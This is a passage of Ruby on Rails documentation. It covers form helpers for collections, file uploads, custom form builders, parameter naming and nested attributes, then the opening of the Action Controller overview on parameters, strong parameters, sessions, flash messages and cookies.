  <%= form.select :city_id, City.order(:name).map { |city| [city.name, city.id] } %>
<% end %>

When rendering a field for a belongs_to association, you must specify the name of the foreign key (city_id in the above example), rather than the name of the association itself.

However, Rails provides helpers that generate choices from a collection without having to explicitly iterate over it. These helpers determine the value and text label of each choice by calling specified methods on each object in the collection.

5.1 The collection_select Helper

To generate a select box, we can use collection_select:

  <%= form.collection_select :city_id, City.order(:name), :id, :name %>

Output:

  <select name="person[city_id]" id="person_city_id">
  <option value="3">Berlin</option>
  <option value="1">Chicago</option>
  <option value="2">Madrid</option>
</select>

With collection_select we specify the value method first (:id in the example above), and the text label method second (:name in the example above). This is opposite of the order used when specifying choices for the select helper, where the text label comes first and the value second.

5.2 The collection_radio_buttons Helper

To generate a set of radio buttons, we can use collection_radio_buttons:

  <%= form.collection_radio_buttons :city_id, City.order(:name), :id, :name %>

Output:

  <input type="radio" name="person[city_id]" value="3" id="person_city_id_3">
<label for="person_city_id_3">Berlin</label>

<input type="radio" name="person[city_id]" value="1" id="person_city_id_1">
<label for="person_city_id_1">Chicago</label>

<input type="radio" name="person[city_id]" value="2" id="person_city_id_2">
<label for="person_city_id_2">Madrid</label>

5.3 The collection_check_boxes Helper

To generate a set of check boxes — for example, to support a has_and_belongs_to_many association — we can use collection_check_boxes:

  <%= form.collection_check_boxes :interest_ids, Interest.order(:name), :id, :name %>

Output:

  <input type="checkbox" name="person[interest_id][]" value="3" id="person_interest_id_3">
<label for="person_interest_id_3">Engineering</label>

<input type="checkbox" name="person[interest_id][]" value="4" id="person_interest_id_4">
<label for="person_interest_id_4">Math</label>

<input type="checkbox" name="person[interest_id][]" value="1" id="person_interest_id_1">
<label for="person_interest_id_1">Science</label>

<input type="checkbox" name="person[interest_id][]" value="2" id="person_interest_id_2">
<label for="person_interest_id_2">Technology</label>

6 Uploading Files

A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. File upload fields can be rendered with the file_field helper.

  <%= form_with model: @person do |form| %>
  <%= form.file_field :picture %>
<% end %>

The most important thing to remember with file uploads is that the rendered form's enctype attribute must be set to "multipart/form-data". This is done automatically if you use a file_field inside a form_with. You can also set the attribute manually:

  <%= form_with url: "/uploads", multipart: true do |form| %>
  <%= file_field_tag :picture %>
<% end %>

Note that, in accordance with form_with conventions, the field names in the two forms above will also differ. That is, the field name in the first form will be person[picture] (accessible via params[:person][:picture]), and the field name in the second form will be just picture (accessible via params[:picture]).

6.1 What Gets Uploaded

The object in the params hash is an instance of ActionDispatch::Http::UploadedFile. The following snippet saves the uploaded file in #{Rails.root}/public/uploads under the same name as the original file.

  def upload
  uploaded_file = params[:picture]
  File.open(Rails.root.join('public', 'uploads', uploaded_file.original_filename), 'wb') do |file|
    file.write(uploaded_file.read)
  end
end

Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on Disk, Amazon S3, etc), associating them with models, resizing image files, and generating thumbnails, etc. Active Storage is designed to assist with these tasks.

7 Customizing Form Builders

The object yielded by form_with and fields_for is an instance of ActionView::Helpers::FormBuilder. Form builders encapsulate the notion of displaying form elements for a single object. While you can write helpers for your forms in the usual way, you can also create a subclass of ActionView::Helpers::FormBuilder, and add the helpers there. For example, assuming you have a helper method defined in your application called text_field_with_label as the following

  module ApplicationHelper
  def text_field_with_label(form, attribute)
    form.label(attribute) + form.text_field(attribute)
  end
end

  <%= form_with model: @person do |form| %>
  <%= text_field_with_label form, :first_name %>
<% end %>

can be replaced with

  <%= form_with model: @person, builder: LabellingFormBuilder do |form| %>
  <%= form.text_field :first_name %>
<% end %>

by defining a LabellingFormBuilder class similar to the following:

  class LabellingFormBuilder < ActionView::Helpers::FormBuilder
  def text_field(attribute, options={})
    label(attribute) + super
  end
end

If you reuse this frequently you could define a labeled_form_with helper that automatically applies the builder: LabellingFormBuilder option:

  module ApplicationHelper
  def labeled_form_with(model: nil, scope: nil, url: nil, format: nil, **options, &block)
    options.merge! builder: LabellingFormBuilder
    form_with model: model, scope: scope, url: url, format: format, **options, &block
  end
end

The form builder used also determines what happens when you do:

  <%= render partial: f %>

If f is an instance of ActionView::Helpers::FormBuilder, then this will render the form partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder, then the labelling_form partial would be rendered instead.

8 Understanding Parameter Naming Conventions

Values from forms can be at the top level of the params hash or nested in another hash. For example, in a standard create action for a Person model, params[:person] would usually be a hash of all the attributes for the person to create. The params hash can also contain arrays, arrays of hashes, and so on.

Fundamentally HTML forms don't know about any sort of structured data, all they generate is name-value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.

8.1 Basic Structures

The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in params. For example, if a form contains:

  <input id="person_name" name="person[name]" type="text" value="Henry"/>

the params hash will contain

  {'person' => {'name' => 'Henry'}}

and params[:person][:name] will retrieve the submitted value in the controller.

Hashes can be nested as many levels as required, for example:

  <input id="person_address_city" name="person[address][city]" type="text" value="New York"/>

will result in the params hash being

  {'person' => {'address' => {'city' => 'New York'}}}

Normally Rails ignores duplicate parameter names. If the parameter name ends with an empty set of square brackets [] then they will be accumulated in an array. If you wanted users to be able to input multiple phone numbers, you could place this in the form:

  <input name="person[phone_number][]" type="text"/>
<input name="person[phone_number][]" type="text"/>
<input name="person[phone_number][]" type="text"/>

This would result in params[:person][:phone_number] being an array containing the inputted phone numbers.

8.2 Combining Them

We can mix and match these two concepts. One element of a hash might be an array as in the previous example, or you can have an array of hashes. For example, a form might let you create any number of addresses by repeating the following form fragment

  <input name="person[addresses][][line1]" type="text"/>
<input name="person[addresses][][line2]" type="text"/>
<input name="person[addresses][][city]" type="text"/>
<input name="person[addresses][][line1]" type="text"/>
<input name="person[addresses][][line2]" type="text"/>
<input name="person[addresses][][city]" type="text"/>

This would result in params[:person][:addresses] being an array of hashes with keys line1, line2, and city.

There's a restriction, however: while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can usually be replaced by hashes; for example, instead of having an array of model objects, one can have a hash of model objects keyed by their id, an array index, or some other parameter.

Array parameters do not play well with the check_box helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The check_box helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence.

8.3 The fields_for Helper :index Option

Let's say we want to render a form with a set of fields for each of a person's addresses. The fields_for helper with its :index option can assist:

  <%= form_with model: @person do |person_form| %>
  <%= person_form.text_field :name %>
  <% @person.addresses.each do |address| %>
    <%= person_form.fields_for address, index: address.id do |address_form| %>
      <%= address_form.text_field :city %>
    <% end %>
  <% end %>
<% end %>

Assuming the person has two addresses with IDs 23 and 45, the above form would render output similar to:

  <form accept-charset="UTF-8" action="/people/1" method="post">
  <input name="_method" type="hidden" value="patch" />
  <input id="person_name" name="person[name]" type="text" />
  <input id="person_address_23_city" name="person[address][23][city]" type="text" />
  <input id="person_address_45_city" name="person[address][45][city]" type="text" />
</form>

Which will result in a params hash that looks like:

  {
  "person" => {
    "name" => "Bob",
    "address" => {
      "23" => {
        "city" => "Paris"
      },
      "45" => {
        "city" => "London"
      }
    }
  }
}

All of the form inputs map to the "person" hash because we called fields_for on the person_form form builder. By specifying an :index option, we mapped the address inputs to person[address][#{address.id}][city] instead of person[address][city]. Thus we are able to determine which Address records should be modified when processing the params hash.

You can pass other numbers or strings of significance via the :index option. You can even pass nil, which will produce an array parameter.

To create more intricate nestings, you can specify the leading portion of the input name explicitly. For example:

  <%= fields_for 'person[address][primary]', address, index: address.id do |address_form| %>
  <%= address_form.text_field :city %>
<% end %>

will create inputs like:

  <input id="person_address_primary_23_city" name="person[address][primary][23][city]" type="text" value="Paris" />

You can also pass an :index option directly to helpers such as text_field, but it is usually less repetitive to specify this at the form builder level than on individual input fields.

Speaking generally, the final input name will be a concatenation of the name given to fields_for / form_with, the :index option value, and the name of the attribute.

Lastly, as a shortcut, instead of specifying an ID for :index (e.g. index: address.id), you can append "[]" to the given name. For example:

  <%= fields_for 'person[address][primary][]', address do |address_form| %>
  <%= address_form.text_field :city %>
<% end %>

produces exactly the same output as our original example.

9 Forms to External Resources

Rails' form helpers can also be used to build a form for posting data to an external resource. However, at times it can be necessary to set an authenticity_token for the resource; this can be done by passing an authenticity_token: 'your_external_token' parameter to the form_with options:

  <%= form_with url: 'http://farfar.away/form', authenticity_token: 'external_token' do %>
  Form contents
<% end %>

Sometimes when submitting data to an external resource, like a payment gateway, the fields that can be used in the form are limited by an external API and it may be undesirable to generate an authenticity_token. To not send a token, simply pass false to the :authenticity_token option:

  <%= form_with url: 'http://farfar.away/form', authenticity_token: false do %>
  Form contents
<% end %>

10 Building Complex Forms

Many apps grow beyond simple forms editing a single object. For example, when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove, or amend addresses as necessary.

10.1 Configuring the Model

Active Record provides model level support via the accepts_nested_attributes_for method:

  class Person < ApplicationRecord
  has_many :addresses, inverse_of: :person
  accepts_nested_attributes_for :addresses
end

class Address < ApplicationRecord
  belongs_to :person
end

This creates an addresses_attributes= method on Person that allows you to create, update, and (optionally) destroy addresses.

10.2 Nested Forms

The following form allows a user to create a Person and its associated addresses.

  <%= form_with model: @person do |form| %>
  Addresses:
  <ul>
    <%= form.fields_for :addresses do |addresses_form| %>
      <li>
        <%= addresses_form.label :kind %>
        <%= addresses_form.text_field :kind %>

        <%= addresses_form.label :street %>
        <%= addresses_form.text_field :street %>
        ...
      </li>
    <% end %>
  </ul>
<% end %>

When an association accepts nested attributes fields_for renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 2 sets of address fields being rendered on the new person form.

  def new
  @person = Person.new
  2.times { @person.addresses.build }
end

The fields_for yields a form builder. The parameters' name will be what accepts_nested_attributes_for expects. For example, when creating a user with 2 addresses, the submitted parameters would look like:

  {
  'person' => {
    'name' => 'John Doe',
    'addresses_attributes' => {
      '0' => {
        'kind' => 'Home',
        'street' => '221b Baker Street'
      },
      '1' => {
        'kind' => 'Office',
        'street' => '31 Spooner Street'
      }
    }
  }
}

The keys of the :addresses_attributes hash are unimportant, they need merely be different for each address.

If the associated object is already saved, fields_for autogenerates a hidden input with the id of the saved record. You can disable this by passing include_id: false to fields_for.

10.3 The Controller

As usual you need to declare the permitted parameters in the controller before you pass them to the model:

  def create
  @person = Person.new(person_params)
  # ...
end

private
  def person_params
    params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street])
  end

10.4 Removing Objects

You can allow users to delete associated objects by passing allow_destroy: true to accepts_nested_attributes_for

  class Person < ApplicationRecord
  has_many :addresses
  accepts_nested_attributes_for :addresses, allow_destroy: true
end

If the hash of attributes for an object contains the key _destroy with a value that evaluates to true (e.g. 1, '1', true, or 'true') then the object will be destroyed. This form allows users to remove addresses:

  <%= form_with model: @person do |form| %>
  Addresses:
  <ul>
    <%= form.fields_for :addresses do |addresses_form| %>
      <li>
        <%= addresses_form.check_box :_destroy %>
        <%= addresses_form.label :kind %>
        <%= addresses_form.text_field :kind %>
        ...
      </li>
    <% end %>
  </ul>
<% end %>

Don't forget to update the permitted params in your controller to also include the _destroy field:

  def person_params
  params.require(:person).
    permit(:name, addresses_attributes: [:id, :kind, :street, :_destroy])
end

10.5 Preventing Empty Records

It is often useful to ignore sets of fields that the user has not filled in. You can control this by passing a :reject_if proc to accepts_nested_attributes_for. This proc will be called with each hash of attributes submitted by the form. If the proc returns true then Active Record will not build an associated object for that hash. The example below only tries to build an address if the kind attribute is set.

  class Person < ApplicationRecord
  has_many :addresses
  accepts_nested_attributes_for :addresses, reject_if: lambda {|attributes| attributes['kind'].blank?}
end

As a convenience you can instead pass the symbol :all_blank which will create a proc that will reject records where all the attributes are blank excluding any value for _destroy.

10.6 Adding Fields on the Fly

Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an "Add new address" button. Rails does not provide any built-in support for this. When generating new sets of fields you must ensure the key of the associated array is unique - the current JavaScript date (milliseconds since the epoch) is a common choice.

11 Using Tag Helpers without a Form Builder

In case you need to render form fields outside of the context of a form builder, Rails provides tag helpers for common form elements. For example, check_box_tag:

  <%= check_box_tag "accept" %>

Output:

  <input type="checkbox" name="accept" id="accept" value="1" />

Generally, these helpers have the same name as their form builder counterparts plus a _tag suffix. For a complete list, see the FormTagHelper API documentation.

12 Using form_tag and form_for

Before form_with was introduced in Rails 5.1 its functionality used to be split between form_tag and form_for. Both are now soft-deprecated. Documentation on their usage can be found in older versions of this guide.

Action Controller Overview

In this guide, you will learn how controllers work and how they fit into the request cycle in your application.

After reading this guide, you will know:

How to follow the flow of a request through a controller.

How to restrict parameters passed to your controller.

How and why to store data in the session or cookies.

How to work with filters to execute code during request processing.

How to use Action Controller's built-in HTTP authentication.

How to stream data directly to the user's browser.

How to filter sensitive parameters, so they do not appear in the application's log.

How to deal with exceptions that may be raised during request processing.

Chapters

What Does a Controller Do?

Controller Naming Convention

Methods and Actions

Parameters

Hash and Array Parameters

JSON Parameters

Routing Parameters

default_url_options

Strong Parameters

Session

Accessing the Session

The Flash

Cookies

Rendering XML and JSON Data

Filters

After Filters and Around Filters

Other Ways to Use Filters

Request Forgery Protection

The Request and Response Objects

The request Object

The response Object

HTTP Authentications

HTTP Basic Authentication

HTTP Digest Authentication

HTTP Token Authentication

Streaming and File Downloads

Sending Files

RESTful Downloads

Live Streaming of Arbitrary Data

Log Filtering

Parameters Filtering

Redirects Filtering

Rescue

The Default 500 and 404 Templates

rescue_from

Force HTTPS Protocol

1 What Does a Controller Do?

Action Controller is the C in MVC. After the router has determined which controller to use for a request, the controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straightforward as possible.

For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model, and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.

A controller can thus be thought of as a middleman between models and views. It makes the model data available to the view, so it can display that data to the user, and it saves or updates user data to the model.

For more details on the routing process, see Rails Routing from the Outside In.

2 Controller Naming Convention

The naming convention of controllers in Rails favors pluralization of the last word in the controller's name, although it is not strictly required (e.g. ApplicationController). For example, ClientsController is preferable to ClientController, SiteAdminsController is preferable to SiteAdminController or SitesAdminsController, and so on.

Following this convention will allow you to use the default route generators (e.g. resources, etc) without needing to qualify each :path or :controller, and will keep named route helpers' usage consistent throughout your application. See Layouts and Rendering Guide for more details.

The controller naming convention differs from the naming convention of models, which are expected to be named in singular form.

3 Methods and Actions

A controller is a Ruby class which inherits from ApplicationController and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the method with the same name as the action.

  class ClientsController < ApplicationController
  def new
  end
end

As an example, if a user goes to /clients/new in your application to add a new client, Rails will create an instance of ClientsController and call its new method. Note that the empty method from the example above would work just fine because Rails will by default render the new.html.erb view unless the action says otherwise. By creating a new Client, the new method can make a @client instance variable accessible in the view:

  def new
  @client = Client.new
end

The Layouts and Rendering Guide explains this in more detail.

ApplicationController inherits from ActionController::Base, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.

Only public methods are callable as actions. It is a best practice to lower the visibility of methods (with private or protected) which are not intended to be actions, like auxiliary methods or filters.

Some method names are reserved by Action Controller. Accidentally redefining them as actions, or even as auxiliary methods, could result in SystemStackError. If you limit your controllers to only RESTful Resource Routing actions you should not need to worry about this.

If you must use a reserved method as an action name, one workaround is to use a custom route to map the reserved method name to your non-reserved action method.

4 Parameters

You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from an HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the params hash in your controller:

  class ClientsController < ApplicationController
  # This action uses query string parameters because it gets run
  # by an HTTP GET request, but this does not make any difference
  # to how the parameters are accessed. The URL for
  # this action would look like this to list activated
  # clients: /clients?status=activated
  def index
    if params[:status] == "activated"
      @clients = Client.activated
    else
      @clients = Client.inactivated
    end
  end

  # This action uses POST parameters. They are most likely coming
  # from an HTML form that the user has submitted. The URL for
  # this RESTful request will be "/clients", and the data will be
  # sent as part of the request body.
  def create
    @client = Client.new(params[:client])
    if @client.save
      redirect_to @client
    else
      # This line overrides the default rendering behavior, which
      # would have been to render the "create" view.
      render "new"
    end
  end
end

4.1 Hash and Array Parameters

The params hash is not limited to one-dimensional keys and values. It can contain nested arrays and hashes. To send an array of values, append an empty pair of square brackets "[]" to the key name:

  GET /clients?ids[]=1&ids[]=2&ids[]=3

The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5d=3" as the "[" and "]" characters are not allowed in URLs. Most of the time you don't have to worry about this because the browser will encode it for you, and Rails will decode it automatically, but if you ever find yourself having to send those requests to the server manually you should keep this in mind.

The value of params[:ids] will now be ["1", "2", "3"]. Note that parameter values are always strings; Rails does not attempt to guess or cast the type.

Values such as [nil] or [nil, nil, ...] in params are replaced with [] for security reasons by default. See Security Guide for more information.

To send a hash, you include the key name inside the brackets:

  <form accept-charset="UTF-8" action="/clients" method="post">
  <input type="text" name="client[name]" value="Acme" />
  <input type="text" name="client[phone]" value="12345" />
  <input type="text" name="client[address][postcode]" value="12345" />
  <input type="text" name="client[address][city]" value="Carrot City" />
</form>

When this form is submitted, the value of params[:client] will be { "name" => "Acme", "phone" => "12345", "address" => { "postcode" => "12345", "city" => "Carrot City" } }. Note the nested hash in params[:client][:address].

The params object acts like a Hash, but lets you use symbols and strings interchangeably as keys.

4.2 JSON Parameters

If you're writing a web service application, you might find yourself more comfortable accepting parameters in JSON format. If the "Content-Type" header of your request is set to "application/json", Rails will automatically load your parameters into the params hash, which you can access as you would normally.

So for example, if you are sending this JSON content:

  { "company": { "name": "acme", "address": "123 Carrot Street" } }

Your controller will receive params[:company] as { "name" => "acme", "address" => "123 Carrot Street" }.

Also, if you've turned on config.wrap_parameters in your initializer or called wrap_parameters in your controller, you can safely omit the root element in the JSON parameter. In this case, the parameters will be cloned and wrapped with a key chosen based on your controller's name. So the above JSON request can be written as:

  { "name": "acme", "address": "123 Carrot Street" }

And, assuming that you're sending the data to CompaniesController, it would then be wrapped within the :company key like this:

  { name: "acme", address: "123 Carrot Street", company: { name: "acme", address: "123 Carrot Street" } }

You can customize the name of the key or specific parameters you want to wrap by consulting the API documentation

Support for parsing XML parameters has been extracted into a gem named actionpack-xml_parser.

4.3 Routing Parameters

The params hash will always contain the :controller and :action keys, but you should use the methods controller_name and action_name instead to access these values. Any other parameters defined by the routing, such as :id, will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route that captures the :status parameter in a "pretty" URL:

  get '/clients/:status', to: 'clients#index', foo: 'bar'

In this case, when a user opens the URL /clients/active, params[:status] will be set to "active". When this route is used, params[:foo] will also be set to "bar", as if it were passed in the query string. Your controller will also receive params[:action] as "index" and params[:controller] as "clients".

4.4 default_url_options

You can set global default parameters for URL generation by defining a method called default_url_options in your controller. Such a method must return a hash with the desired defaults, whose keys must be symbols:

  class ApplicationController < ActionController::Base
  def default_url_options
    { locale: I18n.locale }
  end
end

These options will be used as a starting point when generating URLs, so it's possible they'll be overridden by the options passed to url_for calls.

If you define default_url_options in ApplicationController, as in the example above, these defaults will be used for all URL generation. The method can also be defined in a specific controller, in which case it only affects URLs generated there.

In a given request, the method is not actually called for every single generated URL. For performance reasons, the returned hash is cached, and there is at most one invocation per request.

4.5 Strong Parameters

With strong parameters, Action Controller parameters are forbidden to be used in Active Model mass assignments until they have been permitted. This means that you'll have to make a conscious decision about which attributes to permit for mass update. This is a better security practice to help prevent accidentally allowing users to update sensitive model attributes.

In addition, parameters can be marked as required and will flow through a predefined raise/rescue flow that will result in a 400 Bad Request being returned if not all required parameters are passed in.

  class PeopleController < ActionController::Base
  # This will raise an ActiveModel::ForbiddenAttributesError exception
  # because it's using mass assignment without an explicit permit
  # step.
  def create
    Person.create(params[:person])
  end

  # This will pass with flying colors as long as there's a person key
  # in the parameters, otherwise it'll raise an
  # ActionController::ParameterMissing exception, which will get
  # caught by ActionController::Base and turned into a 400 Bad
  # Request error.
  def update
    person = current_account.people.find(params[:id])
    person.update!(person_params)
    redirect_to person
  end

  private
    # Using a private method to encapsulate the permissible parameters
    # is just a good pattern since you'll be able to reuse the same
    # permit list between create and update. Also, you can specialize
    # this method with per-user checking of permissible attributes.
    def person_params
      params.require(:person).permit(:name, :age)
    end
end

4.5.1 Permitted Scalar Values

Calling permit like:

  params.permit(:id)

permits the specified key (:id) for inclusion if it appears in params and it has a permitted scalar value associated. Otherwise, the key is going to be filtered out, so arrays, hashes, or any other objects cannot be injected.

The permitted scalar types are String, Symbol, NilClass, Numeric, TrueClass, FalseClass, Date, Time, DateTime, StringIO, IO, ActionDispatch::Http::UploadedFile, and Rack::Test::UploadedFile.

To declare that the value in params must be an array of permitted scalar values, map the key to an empty array:

  params.permit(id: [])

Sometimes it is not possible or convenient to declare the valid keys of a hash parameter or its internal structure. Just map to an empty hash:

  params.permit(preferences: {})

but be careful because this opens the door to arbitrary input. In this case, permit ensures values in the returned structure are permitted scalars and filters out anything else.

To permit an entire hash of parameters, the permit! method can be used:

  params.require(:log_entry).permit!

This marks the :log_entry parameters hash and any sub-hash of it as permitted and does not check for permitted scalars, anything is accepted. Extreme care should be taken when using permit!, as it will allow all current and future model attributes to be mass-assigned.

4.5.2 Nested Parameters

You can also use permit on nested parameters, like:

  params.permit(:name, { emails: [] },
              friends: [ :name,
                         { family: [ :name ], hobbies: [] }])

This declaration permits the name, emails, and friends attributes. It is expected that emails will be an array of permitted scalar values, and that friends will be an array of resources with specific attributes: they should have a name attribute (any permitted scalar values allowed), a hobbies attribute as an array of permitted scalar values, and a family attribute which is restricted to having a name (any permitted scalar values allowed here, too).

4.5.3 More Examples

You may want to also use the permitted attributes in your new action. This raises the problem that you can't use require on the root key because, normally, it does not exist when calling new:

  # using `fetch` you can supply a default and use
# the Strong Parameters API from there.
params.fetch(:blog, {}).permit(:title, :author)

The model class method accepts_nested_attributes_for allows you to update and destroy associated records. This is based on the id and _destroy parameters:

  # permit :id and :_destroy
params.require(:author).permit(:name, books_attributes: [:title, :id, :_destroy])

Hashes with integer keys are treated differently, and you can declare the attributes as if they were direct children. You get these kinds of parameters when you use accepts_nested_attributes_for in combination with a has_many association:

  # To permit the following data:
# {"book" => {"title" => "Some Book",
#             "chapters_attributes" => { "1" => {"title" => "First Chapter"},
#                                        "2" => {"title" => "Second Chapter"}}}}

params.require(:book).permit(:title, chapters_attributes: [:title])

Imagine a scenario where you have parameters representing a product name, and a hash of arbitrary data associated with that product, and you want to permit the product name attribute and also the whole data hash:

  def product_params
  params.require(:product).permit(:name, data: {})
end

4.5.4 Outside the Scope of Strong Parameters

The strong parameter API was designed with the most common use cases in mind. It is not meant as a silver bullet to handle all of your parameter filtering problems. However, you can easily mix the API with your own code to adapt to your situation.

5 Session

Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of several of different storage mechanisms:

ActionDispatch::Session::CookieStore - Stores everything on the client.

ActionDispatch::Session::CacheStore - Stores the data in the Rails cache.

ActionDispatch::Session::ActiveRecordStore - Stores the data in a database using Active Record (requires the activerecord-session_store gem).

ActionDispatch::Session::MemCacheStore - Stores the data in a memcached cluster (this is a legacy implementation; consider using CacheStore instead).

All session stores use a cookie to store a unique ID for each session (you must use a cookie, Rails will not allow you to pass the session ID in the URL as this is less secure).

For most stores, this ID is used to look up the session data on the server, e.g. in a database table. There is one exception, and that is the default and recommended session store - the CookieStore - which stores all session data in the cookie itself (the ID is still available to you if you need it). This has the advantage of being very lightweight, and it requires zero setup in a new application to use the session. The cookie data is cryptographically signed to make it tamper-proof. And it is also encrypted so anyone with access to it can't read its contents. (Rails will not accept it if it has been edited).

The CookieStore can store around 4 kB of data - much less than the others - but this is usually enough. Storing large amounts of data in the session is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (such as model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error.

If your user sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging), you can consider using ActionDispatch::Session::CacheStore. This will store sessions using the cache implementation you have configured for your application. The advantage of this is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside, of course, is that the sessions will be ephemeral and could disappear at any time.

Read more about session storage in the Security Guide.

If you need a different session storage mechanism, you can change it in an initializer:

  # Use the database for sessions instead of the cookie-based default,
# which shouldn't be used to store highly confidential information
# (create the session table with "rails g active_record:session_migration")
# Rails.application.config.session_store :active_record_store

Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in an initializer:

  # Be sure to restart your server when you modify this file.
Rails.application.config.session_store :cookie_store, key: '_your_app_session'

You can also pass a :domain key and specify the domain name for the cookie:

  # Be sure to restart your server when you modify this file.
Rails.application.config.session_store :cookie_store, key: '_your_app_session', domain: ".example.com"

Rails sets up (for the CookieStore) a secret key used for signing the session data in config/credentials.yml.enc. This can be changed with bin/rails credentials:edit.

  # aws:
#   access_key_id: 123
#   secret_access_key: 345

# Used as the base secret for all MessageVerifiers in Rails, including the one protecting cookies.
secret_key_base: 492f...

Changing the secret_key_base when using the CookieStore will invalidate all existing sessions.

5.1 Accessing the Session

In your controller, you can access the session through the session instance method.

Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence, you will never need to disable sessions, just not accessing them will do the job.

Session values are stored using key/value pairs like a hash:

  class ApplicationController < ActionController::Base

  private

  # Finds the User with the ID stored in the session with the key
  # :current_user_id This is a common way to handle user login in
  # a Rails application; logging in sets the session value and
  # logging out removes it.
  def current_user
    @_current_user ||= session[:current_user_id] &&
      User.find_by(id: session[:current_user_id])
  end
end

To store something in the session, just assign it to the key like a hash:

  class LoginsController < ApplicationController
  # "Create" a login, aka "log the user in"
  def create
    if user = User.authenticate(params[:username], params[:password])
      # Save the user ID in the session so it can be used in
      # subsequent requests
      session[:current_user_id] = user.id
      redirect_to root_url
    end
  end
end

To remove something from the session, delete the key/value pair:

  class LoginsController < ApplicationController
  # "Delete" a login, aka "log the user out"
  def destroy
    # Remove the user id from the session
    session.delete(:current_user_id)
    # Clear the memoized current user
    @_current_user = nil
    redirect_to root_url, status: :see_other
  end
end

To reset the entire session, use reset_session.

5.2 The Flash

The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for passing error messages, etc.

The flash is accessed via the flash method. Like the session, the flash is represented as a hash.

Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:

  class LoginsController < ApplicationController
  def destroy
    session.delete(:current_user_id)
    flash[:notice] = "You have successfully logged out."
    redirect_to root_url, status: :see_other
  end
end

Note that it is also possible to assign a flash message as part of the redirection. You can assign :notice, :alert or the general-purpose :flash:

  redirect_to root_url, notice: "You have successfully logged out."
redirect_to root_url, alert: "You're stuck here!"
redirect_to root_url, flash: { referral_code: 1234 }

The destroy action redirects to the application's root_url, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display any error alerts or notices from the flash in the application's layout:

  <html>
  <!-- <head/> -->
  <body>
    <% flash.each do |name, msg| -%>
      <%= content_tag :div, msg, class: name %>
    <% end -%>

    <!-- more content -->
  </body>
</html>

This way, if an action sets a notice or an alert message, the layout will display it automatically.

You can pass anything that the session can store; you're not limited to notices and alerts:

  <% if flash[:just_signed_up] %>
  <p class="welcome">Welcome to our site!</p>
<% end %>

If you want a flash value to be carried over to another request, use flash.keep:

  class MainController < ApplicationController
  # Let's say this action corresponds to root_url, but you want
  # all requests here to be redirected to UsersController#index.
  # If an action sets the flash and redirects here, the values
  # would normally be lost when another redirect happens, but you
  # can use 'keep' to make it persist for another request.
  def index
    # Will persist all flash values.
    flash.keep

    # You can also use a key to keep only some kind of value.
    # flash.keep(:notice)
    redirect_to users_url
  end
end

5.2.1 flash.now

By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the create action fails to save a resource, and you render the new template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use flash.now in the same way you use the normal flash:

  class ClientsController < ApplicationController
  def create
    @client = Client.new(client_params)
    if @client.save
      # ...
    else
      flash.now[:error] = "Could not save client"
      render action: "new"
    end
  end
end

6 Cookies

Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the cookies method, which - much like the session - works like a hash:

  class CommentsController < ApplicationController
  def new
    # Auto-fill the commenter's name if it has been stored in a cookie
    @comment = Comment.new(author: cookies[:commenter_name])
  end

  def create
    @comment = Comment.new(comment_params)
    if @comment.save
      flash[:notice] = "Thanks for your comment!"
      if params[:remember_name]
        # Remember the commenter's name.
        cookies[:commenter_name] = @comment.author
      else
        # Delete cookie for the commenter's name cookie, if any.
        cookies.delete(:commenter_name)
      end
      redirect_to @comment.article
    else
      render action: "new"
    end
  end
end

Note that while for session values you can set the key to nil, to delete a cookie value you should use cookies.delete(:key).

Rails also provides a signed cookie jar and an encrypted cookie jar for storing sensitive data. The signed cookie jar appends a cryptographic signature on the cookie values to protect their integrity. The encrypted cookie jar encrypts the values in addition to signing them, so that they cannot be read by the end-user. Refer to the API documentation for more details.

These special cookie jars use a serializer to serialize the assigned values into strings and deserializes them into Ruby objects on read.

You can specify what serializer to use:

  Rails.application.config.action_dispatch.cookies_serializer = :json

